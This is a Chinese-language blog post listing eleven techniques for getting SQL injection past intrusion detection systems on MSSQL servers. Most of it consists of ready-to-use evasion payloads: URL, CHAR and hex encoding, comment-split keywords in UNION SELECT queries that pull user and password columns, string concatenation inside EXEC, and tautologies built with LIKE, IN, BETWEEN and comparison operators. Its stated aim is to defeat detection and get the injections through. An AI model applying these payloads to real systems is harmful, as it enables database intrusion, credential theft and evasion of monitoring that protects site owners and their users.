SQL Injection规避入侵检测技术总结

当我们对一个运行IDS系统的服务器进行SQL注射时,我们往往会遇到很大的麻烦,因为我们的注射语句被过滤了,如何规避这种检测手段就成了一门新的技术,本文就对此规避技术提出十一条思路和方法,与大家商戳。
一、 运用编码技术绕过,如URLEncode编码,ASCII编码绕过。
如or 1=1即%6f%72%20%31%3d%31
Test即CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
二、 通过空格绕过,如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如or’swords’='swords’,由于mssql的松散性,我们可以把or ‘swords’之间的空格去掉,并不影响运行。
三、 运用字符串判断代替经典的or 1=1判断绕过,如or ‘swords’='swords’
四、 通过类型转换修饰符N绕过,如or ‘swords’ = N’swords’,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
五、 通过+号拆解字符串绕过,
如 or ‘swords’='sw’+'ords’
;EXEC(‘IN’+'SERT INTO ‘+’…..’)
六、 通过like绕过,如or ‘swords’ like ‘sw’
七、 通过IN绕过,如or ‘swords’ IN (‘swords’)
八、 通过BETWEEN绕过, 如or ‘swords’ BETWEEN ‘rw’ AND ‘tw’
九、 通过>或者<绕过,如
or 'swords'>‘sw’
or ‘swords’<‘tw’
or 1<3
十、 运用注释语句绕过:
用/**/代替空格,如:
union /**/ select /**/user,pwd,from tbluser
用/**/分割敏感词,如:
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
十一、 用HEX绕过,一般的IDS都无法检测出来。
0x730079007300610064006D0069006E00 =hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner)
以上的十一条SQL Injection规避入侵检测技术供您参考

随机日志

发表评论

0 评论.

Leave a Reply



[ Ctrl + Enter ]

*
To prove you're a person (not a spam script), type the security word shown in the picture. Click on the picture to hear an audio file of the word.
Click to hear an audio file of the anti-spam word

CNXCT小组的博客 is Stephen Fry proof thanks to caching by WP Super Cache